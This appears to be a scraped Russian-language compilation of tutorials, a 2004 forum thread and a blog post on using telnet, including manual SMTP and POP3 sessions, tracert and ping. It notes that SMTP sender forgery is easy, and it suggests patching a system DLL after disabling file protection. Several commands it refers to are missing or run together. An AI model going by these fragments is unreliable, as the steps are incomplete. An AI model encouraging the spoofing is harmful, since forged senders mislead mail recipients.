    Если перечисленные команды не приводят к нужному результату, то остается Ctrl-] или Ctrl-^, которые заканчивают TELNET соединение. Это вернет Вас в режим подсказки telnet>. Введите quit или exit после telnet>, этим Вы закончите свой сеанс.

    Некоторые примеры и адреса:

    Welcome to the InterNIC Information Service Gopher

    Please enter your terminal type

    Internet Gopher Information Client v1.11

    InterNIC Information Services InfoSource

    Press ? for Help, q to Quit, u to go up a menu

    Библиотечный каталог университета Кэмбриджа

    Trying. Connected to JANUS.CSI.CAM.AC.UK.

    ++++ University of Cambridge Telnet-> X.29 Gateway ++++

    For help, mail to help-desk@ucs.cam.ac.uk or phone (0223) 3334681.

    Enter the name of the X.29 host or service you want to call, for example, uk.ac.cam.ul (University Library).

    +++ Spad (1.27-6 of 1993/11/13) connected +++

    Press Cntrl/P followed by B to generate an interrupt.

    Press Cntrl/P followed by A to interact with the dateway PAD.

    Use the PAD command «clear» to the call.

    Cambridge University Library catalogue (UK.AC.CAM.UL)

    If your terminal is DEC VT100 compatible, type Y and press RETURN, or just press RETURN if not:

    Does this display as an e acute ->i

    SS> Hapoд, pacкaжитe кyдa мoжнo зaлeзть caбжeм?

    Еще подкину паpу адpесков:

    Telnet-ом можно залезть на любой интернет/интранет сервер, который поддерживает данный протокол. При этом твоя машина становится удаленным терминалом этого сервера, а так как чаще всего сервера работают под некой разновидностью Unix, то первое, что попросит тебя сделать система

    — ввести login name и пароль.Кроме того, через Telnet можно попасть на некоторые BBS, например, KTTS BBS по адресу ktts.kharkov.ua:23.

    Q.Как послать сообщение через сервер SMTP при помощи программы Telnet?

    A.Как и в случае с протоколом POP3, сообщения также могут быть отосланы при помощи программы TELNET путем подключения к серверу SMTP через порт 25:

    Например, C:> telnet mail.spb.cityline.ru 25

    В некоторых случаях после соединения вам может потребоваться указать серверу, кто вы такой (требуется для некоторых серверов)

    например helo alex.spb.ru

    например vrfy alex

    После подключения можно начинать создание сообщения. Первой командой является команда MAIL, в которой вы также должны указать, от кого отправляется это сообщение, например:

    Адрес должен располагаться внутри <>. Затем нужно указать получателя сообщения при помощи команды RCPT:

    Теперь можно приступить к собственно сообщению при помощи команды DATA. Заголовок сообщения следует поместить в первой строчке. По окончании ввода напечатайте ‘.’ (без кавычек) на новой строке и сообщение будет отправлено. Первым далом вводится From, Date, To и Subject, а потом уже текст сообщения. Старайтесь не делать грамматических ошибок при наборе текста, потому что клавиша Backspace будет интерпретирована как недопустимый символ, и редактирование сообщения будет прекращено. При этом сообщение об ошибке будет послано на тот адрес, который вы указали в команде «mail from: «, поэтому не следует указывать в этом поле чужие адреса.

    Очевидно, что довольно легко послать сообщение таким образом, что оно будет казаться отосланным с чужого адреса. Однако, если вы присмотритесь к заголовку сообщения, то вы увидите, что оно было послано с другого почтового сервера, и обнаружите подделку. Q.Как прочитать/удалить сообщение в почтовом ящике POP3 при помощи программы TELNET?

    A.Вы можете подключиться к почтовому ящику POP3 при помощи программы Telnet и просмотреть заголовок сообщения или удалить его, не загружая это сообщение с почтового сервера.

    Подключитесь к вашему почтовому серверу POP3 через порт 110

    например, telnet mail.spb.cityline.ru 110

    По завершении соединения вы получите сообщение +OK

    Введите имя пользователя (обычно это ваш логин на почтовый сервер)

    Теперь введите пароль к вашему почтовому ящику

    Теперь, после окончания процедуры подключения, вы можете посмотреть общее количество и размер сообщений при помощи команды STAT.

    Для получения полного списка сообщений используйте команду LIST. Обратите внимание, что каждому сообщению соответствует номер

    Чтобы увидеть содержимое сообщения, используйте команду

    Чтобы просмотреть только заголовок сообщения, наберите

    top 0 (с нулем на конце)

    Чтобы удалить ненужное сообщение, используйте команду

    Для завершения работы наберите QUIT

    Очевидно, что возможность работы с помощью TELNET оказывается полезной в случае необходимости получить доступ к почте при отсутствии доступа к почтовому клиенту. Q,После работы с Hyper Terminal в корневой директории появляются файлы, comreads.dbg и comused.dbg?

    А: Эти два файла содержать представленные в шестнадцетиричном виде данные, которые передавались и принимались по порту модема. Если Вы считаете, что эта информация Вам не нужна (а в подавляющем большинстве случаев это так), то можно попробовать немного отредактировать %System_Root%system32hypertrm.dll (на свой страх и риск!):

    hypertrm.dll Было Стало

    Перед тем как править файл, не забудьте отключить sfc, иначе всё будет напрасно, W2k поменяет файл на исходный. Название

    tracert — трассировка достижимости IP узла.

    Трассирует путь прохождения пакетов до заданного узлаHostAddress.

    Команда использует различные значения поля протокола IP ‘time to live’ в исходящих пакетах и анализирует ответы ICMP TIME_EXCEEDED , поступающие от всех маршрутизаторов, находящихся на пути к выбранному узлу.

    По умолчанию, в качестве адреса источника подставляется адрес интерфейса через который отправляются пакеты. С помощью опции -s можно подставить любой другой IP адрес.

    Трассировка ограничивается 30-ю промежуточными узлами.

    Длина отправляемых пакетов равна 36 байтам.

    Для каждого промежуточного узла выполняется 3 попытки.

    Результат трассировки содержит адрес промежуточного марщрутизатора и время отклика для каждой попытки в миллисекундах.

    Кроме того, могут появляться специальные символы, отображающие коды специфических ответов протокола ICMP:

    ! Порт недостижим
    !N Сеть недостижима
    !H Узел недоступен
    !P Недопустимый протокол
    !F Пакет превышает допустимую длину
    !X Административый запрет на доступ к узлу (фильтр, прокси, и т.д.)
    * Нет отклика.

    PING используется для проверки TCP/IP связи с другим хостом и дает информацию о времени, потребовавшемуся тестирующему пакету данных, чтобы достигнуть хоста и вернуться обратно.

    Основное применение следующее:

    Pinging 160.82.52.11 with 32 bytes of data:

    Reply from 160.82.52.11: bytes=32 time=10ms TTL=252

    Reply from 160.82.52.11: bytes=32 time ping -f -n 1 -l 1 148.32.43.23

    Как пользоваться службой TELENET

    Список форумов » Программное обеспечение
    На страницу 1, 2 След.
    Следующая тема · Предыдущая тема

    Автор Сообщение
    Viat

    #1 от 30/06/2004 19:21 цитата
    Вопрос ка пользоваться теленетом, где почитать какие команды и возможности.
    Georg

    #2 от 01/07/2004 02:38 цитата
    viat, http://yandex.ru/yandsearch?text=TELENET&stype=www&nl=0
    Viat

    #3 от 01/07/2004 11:31 цитата
    georg, я про службу-программу, которая в виндах называется telenet.exe, служит для удаенного подключения к разным хостам. наример почтовым серверам, но какие там команды и чтоможно делать незнаю , вот хотел почитать просветиться.
    Georg

    #4 от 01/07/2004 12:40 цитата
    viat, тогда не в курсе
    Mikkey

    #5 от 01/07/2004 14:13 цитата
    Может это?
    http://aim.iname.md/

    #6 от 01/07/2004 14:40 цитата
    viat, а может всетаки telnet, а не telEnet?
    Если так, запускаешь telnet.exe, набираешь help, и получаешь
    список и синтаксис доступных команд.
    Viat

    #7 от 01/07/2004 16:19 цитата
    Mikkey, не открываются ссылки
    lotus, да правильно telnet.exe, прошу пардона, но там скупой список только, а что и как нет
    Nessy

    #8 от 01/07/2004 16:49 цитата
    Ссылки telnetom и не откроешь, это терминальная программа, ей нужно
    указать адрес и порт(почти все которыми можно пользоваться telnet закрыты
    в целях безопасности). Можешь попробовать разве что 119(news) и 25(smtp).

    telnet news.fido7.ru 119
    Trying 194.87.13.37.
    Connected to ddt.demos.su.
    Escape character is ‘^]’.
    200 ddt.demos.su InterNetNews NNRP server INN 2.4.0 (20001110 prerelease) ready (posting ok).

    help
    100 Legal commands
    authinfo user Name|pass Password|generic

    Практически думаю мало чем поможет.

    Viat

    #9 от 01/07/2004 17:36 цитата
    Nessy, я пронимаю что telnet сылки не открывает
    Mikkey

    #10 от 01/07/2004 17:43 цитата
    Подключение к удаленному компьютеру с помощью telnet
    Всего десяток лет назад наиболее распространенным способом получение информации с других компьютеров Internet была регистрация на этом компьютере и просмотр находящихся там файлов. Самым распространенным методом для этого была команда telnet (хотя некоторые пользователи применяют команду rlogin).
    Команда telnet — это пользовательский интерфейс с вызываемым им протоколом, который называется TELNET. Чтобы программа telnet могла работать, протокол TELNET должен использоваться на обоих компьютерах. TELNET использует почти каждый компьютер с ОС Unix в Internet, поэтому поддержка данного протокола обычно не представляет проблемы. Программа telnet применяется в Internet очень многими пользователями.

    Сотни библиотечных каталогов доступны только при прямом подключении к библиотечным компьютерам. Использование telnet позволяет сократить оплату за удаленную связь с данными компьютерами, некоторые из которых даже не допускают прямого подключения по номеру.
    Если у вас имеются учетные данные на нескольких компьютерах Internet, то вы можете зарегистрироваться на ближайшем к вам компьютере и применять telnet для регистрации на других.

    Проводящие совместные работы исследователи могут из различных районов страны зарегистрироваться на одном компьютере для совместного проведения эксперимента.

    Существует и родственная telnet программа, которая называется tn3270. Она позволяет вам подключаться к большим машинам IBM, работающим с терминалами типа 3270.

    telnet — это программа удаленного доступа, которую вы можете использовать, чтобы вручную зарегистрироваться в Internet на удаленном компьютере. В отличие от ftp (которая устанавливает связь с единственной целью передачи файлов), подключение с помощью telnet преследует более общие цели:

    telnet применяется, когда вам нужно зарегистрироваться на удаленном компьютере, и вы хотите выполнить на нем какую-то работу.

    Когда вы хотите использовать программу Internet клиент/сервер, но на вашей машине не установлена клиентная программа.

    Когда вы хотите получить доступ к приложению, доступному только на удаленной машине.

    Обычно telnet вызывается следующей командой:

    где в качестве «системы» может задаваться IP-адрес, а «порт» задает номер порта на удаленном компьютере, где вы хотите зарегистрироваться. После установления связи все, что вы будете набирать на клавиатуре, передается в удаленный компьютер, а все, что выводится на удаленном компьютере, появляется на вашем экране. Чтобы передать команду самой программе telnet (а не удаленному компьютеру), с помощью управляющего символа telnet (обычно это Ctrl-])
    можно переключиться в командный режим. В этом режиме вы увидитена экране приглашение:

    Работать с telnet достаточно просто. Вы можете запустить эту программу без аргументов или указать в командной строке имя
    хост-системы. В некоторых случаях указывается также конкретный порт. Его также можно задать в командной строке после имени компьютера. Например:

    % telnet math.small.edu
    Trying.
    Connected to math.small.edu.
    Escape character is ‘^]’.

    Welcome to the Mathematics Department server.

    Первое сообщение после команды telnet поступает от программы. После установления контакта с удаленной хост-системой выводятся другие сообщения, поступающие от этой системы. После этого вы можете работать также, как при подключении к удаленной системе по номеру.

    Многие системы требуют прохождения процедуры регистрации (как при регистрации в локальной хост-системе). Другие системы, такие как библиотечные каталоги, не требуют регистрации. Вы просто запускаете программу (например, интерфейс с каталогом).

    Закончив работать с удаленной системой, вы должны выйти из нее. При этом не всегда завершается работа telnet. Для выхода на командную строку telnet нажмите Ctrl-]. Появится подсказка telnet>. Для большинства пользователей представляют интерес только несколько команд, таких как quit. Для завершения сеанса с одной хост-системой и инициализации сеанса с другой можно также использовать команды close и open.

    Наиболее общие команды telnet перечислены ниже в таблице. Чтобы ознакомиться с доступной в вашей системе диалоговой документацией, наберите man telnet.

    telnet можно использовать для выполнения любой операции, которая доступна на непосредственно подключенном к удаленному компьютеру терминале. Например, можно даже открыть подключение telnet к третьему компьютеру в сети.

    Наиболее общие команды telnet

    ? Выводит список команд telnet.

    ? [команда] Выводит краткую информацию по заданной команде.

    open имя_системы Устанавливает связь с заданным удаленным компьютером.

    close Отменяет текущее подключение и возвращается в командный режим telnet.

    quit Отменяет текущее подключение и завершает работу telnet.

    set символ Выводит текущий статус telnet, включая имя удаленного компьютера, к которому вы подключены.

    Использование TELNET

    Чтобы подключиться к удаленной машине в Internet и произвести те или иные действия в ней, запустите программу telnet, которая является пользовательским интерфейсом протокола TELNET (в данном случае речь идет о вводе команды на UNIX или UNIX-подобных системах, о работе программ-клиентов для telnet на других платформах будет сказано отдельно).

    Формат команды (не полная, но достаточная для практики, версия)

    telnet host [port]

    где host
    официальное доменное имя машины или ее псевдоним (alias), или ее IP-адрес в виде цифр, разделенных точками;

    port — определяет номер порта (адрес приложения). Если номер порта не задан, то принимается номер порта TELNET по умолчанию — 23.

    Если команда telnet используется без аргументов, тогда вводится командный режим, о котором сигнализирует подсказка

    telnet >

    В этом режиме доступа и выполняются следующие основные команды:

    open host [-port], — открывает соединение с названной системой;
    close — закрывает TELNET соединения и возвращает вас в командный режим;
    quit — заканчивает все открытые TELNET соединения и выводит вас из telnet;
    ! [команда] — выполнение отдельной команды в shell на локальной системе;
    status — показывает текущий статус telnet;
    ? [команда] — получение помощи. Если аргумента нет, то telnet выдает список всех своих команд.

    Возможные сообщения об ошибках

    Unknown Host 1. Имя или адрес были набраны неправильно
    2. Сеть не способна преобразовать имя системы в цифровой адрес
    Connection Refused 1. Удаленный компьютер функционирует с ошибками
    2. Удаленный компьютер не может обеспечить другое, дополнительное, TELNET-соединение
    Connection Dropped Проблема с сетью или удаленным хостом, приведшая к закрытию соединения

    Не нашли то, что искали? Воспользуйтесь поиском:

    Лучшие изречения: Увлечёшься девушкой-вырастут хвосты, займёшься учебой-вырастут рога 9875 — | 7712 — или читать все.

    193.151.241.65 © studopedia.ru Не является автором материалов, которые размещены. Но предоставляет возможность бесплатного использования. Есть нарушение авторского права? Напишите нам | Обратная связь.

    Отключите adBlock!
    и обновите страницу (F5)

    очень нужно

    Чокнутые Деньги

    Центр удаленной занятости. Работа в Интернете. Вакансии

    наиболее часто используемые команды Telnet

    Как вы уже могли убедиться, если читали мой пост о настройке Telnet в Windows, работать с этой службой достаточно легко. Можно запустить его без аргументов, указав в командной строке лишь адрес хост-системы. При определенных обстоятельствах еще нужно указать конкретный порт. Первое сообщение, которое видит пользователь, после выполнения команды “ telnet “, посылается самой программой, а после установления связи между клиентом и сервером выводятся сообщения, исходящие от управляемой системы. В связи с этим с удаленной операционной системой можно работать через Telnet таким же образом, как это происходит в случаях с другими специализированными программами дистанционного доступа к ОС. Теперь давайте присмотримся к данной службе поближе и разберем наиболее часто используемые команды Telnet.

    Командная строка Telnet на клиенте с Windows может принимать следующие команды:

    open узел порт – применяется для установки соединения с заданным узлом;

    close – закрывает существующее соединение;

    quit – выход из текущего сеанса Telnet;

    display – позволяет просмотреть текущие параметры Telnet-клиента;

    set – с ее помощью возможно задать Telnet-параметры текущей сессии, а конкретно:

    • set ntlm включит NTLM (использование интегрированной в Telnet проверки подлинности NTLM во время подключения пользователя с удаленного компьютера позволяет обойтись без ввода логина и пароля при входе);
    • set localecho включит режим локального вывода команд;
    • set term vt100/vt52/vtnt/ansi задаст указанный тип терминала (например, VT100 применяют для выполнения обычных программ командной строки, а VTNT – для выполнения расширенных программ, типа “edit”);
    • set escape символ задаст последовательность клавиш, переключающих режим сеанса в командный режим (к примеру, set escape , потом нажатие клавиш “Ctrl+P” и “Enter” установит Ctrl+P в качестве переключателя);
    • set logfile имя_файла укажет на файл журнала текущей активности Telnet (этот файл должен находиться в файловой системе управляющего компьютера);
    • set logging включит ведение журнала (файл журнала должен быть предварительно указан вышеприведенной командой, иначе возникнет сообщение с ошибкой);

    unset – выполняет отключение различных параметров сессии Telnet (обратные операции по отношению к set ), а именно:

    • unset ntlm отключит встроенную проверку подлинности;
    • unset localecho деактивирует режим локального вывода команд;

    status – используется с целью проверки наличия подключения к Telnet-клиенту;

    enter – применяется для перехода в существующий подключенный сеанс Telnet;

    ? или help – отображение справочной информации.

    Закончив с делами на удаленной машине, вам нужно будет закрыть соединение с ней. При этом работа самого Telnet завершается не всегда. Чтобы выйти в командную строку Telnet, воспользуйтесь горячими клавишами “Ctrl+]”.

    Ссылка на основную публикацию